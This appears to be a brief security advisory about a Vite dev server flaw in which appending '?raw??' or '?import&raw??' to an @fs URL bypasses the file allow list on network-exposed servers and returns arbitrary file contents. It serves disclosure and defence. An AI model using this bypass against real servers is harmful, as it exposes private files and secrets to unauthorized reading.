The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
